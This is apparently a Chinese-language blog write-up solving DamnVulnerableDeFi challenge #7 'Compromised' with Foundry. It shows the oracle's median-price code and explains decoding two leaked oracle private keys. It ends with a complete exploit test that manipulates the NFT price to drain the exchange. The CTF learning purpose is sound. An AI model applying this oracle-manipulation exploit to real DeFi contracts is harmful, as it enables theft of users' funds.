banner
zach

zach

github
twitter
medium

該網站已被入侵

挑战 #7 - 受损

为了学习 Solidity 和 Foundry 系统,我基于 Foundry 测试框架重新编写了 DamnVulnerableDeFi 的解答,欢迎交流和共建~🎉

合约

  • Exchange: 提供购买(铸造)和售卖(销毁)DamnValuableNFT 的方法,对应的价格由预言机提供
  • TrustfulOracle: 可信价格预言机合约,维护着由几个可信的账号设定的 NFT 价格,对外提供查询 NFT 价格中位数的方法
  • TrustfulOracleInitializer:用于部署 TrustfulOracle 合约并初始化 NFT 价格

测试

  • 部署 TrustfulOracleInitializer 合约,顺带完成 TrustfulOracle 合约的部署,设置初始 NFT 价格为 INITIAL_NFT_PRICE
  • 部署 Exchange 合约,顺带完成 DamnValuableNFT 合约的部署,存入 EXCHANGE_INITIAL_ETH_BALANCE
  • 执行攻击脚本
  • 期望 Exchange 合约中的余额为 0,玩家余额为 EXCHANGE_INITIAL_ETH_BALANCE,玩家不拥有 NFT,预言机中的 NFT 价格中位数为 INITIAL_NFT_PRICE

解答

通过阅读 Exchange 合约可以发现 buyOnesellOne 所需要付的和收回的 ETH 都是由预言机提供的,通过 oracle.getMedianPrice() 方法获得 NFT 的价格。

攻击的目标是获取 Exchange 合约中的全部 ETH,可以通过低买高卖 NFT 的方式来赚取 EXCHANGE_INITIAL_ETH_BALANCE 数额的 ETH,因此最终目标是操纵预言机。通过分析 oracle 的获取 NFT 价格中位数的方法可以得知,只需要操纵过半的预言机就可以达到修改价格的目的。

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
    uint256[] memory prices = getAllPricesForSymbol(symbol);
    LibSort.insertionSort(prices);
    if (prices.length % 2 == 0) {
        uint256 leftPrice = prices[(prices.length / 2) - 1];
        uint256 rightPrice = prices[prices.length / 2];
        return (leftPrice + rightPrice) / 2;
    } else {
        return prices[prices.length / 2];
    }
}

题目中给了一段捕获到的 HTTP 报文信息,合理推测这两段字符串就是对应其中两个预言机的私钥。将 16 进制数转成 ASCII 码,再通过 base64 解码,最终得到两个私钥。

完整的流程图如下所示:

image

首先通过操纵预言机降低 NFT 单价让玩家购买,再操纵预言机将 NFT 价格提升让玩家卖出即完成攻击,代码如下:

function testExploit() public {
    /*Code solution here*/
    oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
    oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);

    postPrice(0.0001 ether);

    vm.startPrank(player);
    uint256 id = exchange.buyOne{value: 0.0001 ether}();
    vm.stopPrank();

    uint256 exchangeBalance = address(exchange).balance;
    postPrice(exchangeBalance);

    vm.startPrank(player);
    nftToken.approve(address(exchange), id);
    exchange.sellOne(id);
    vm.stopPrank();

    postPrice(INITIAL_NFT_PRICE);

    validation();
}

function postPrice(uint256 price) public {
    vm.startPrank(oracle1);
    oracle.postPrice('DVNFT', price);
    vm.stopPrank();
    vm.startPrank(oracle2);
    oracle.postPrice('DVNFT', price);
    vm.stopPrank();
}
載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。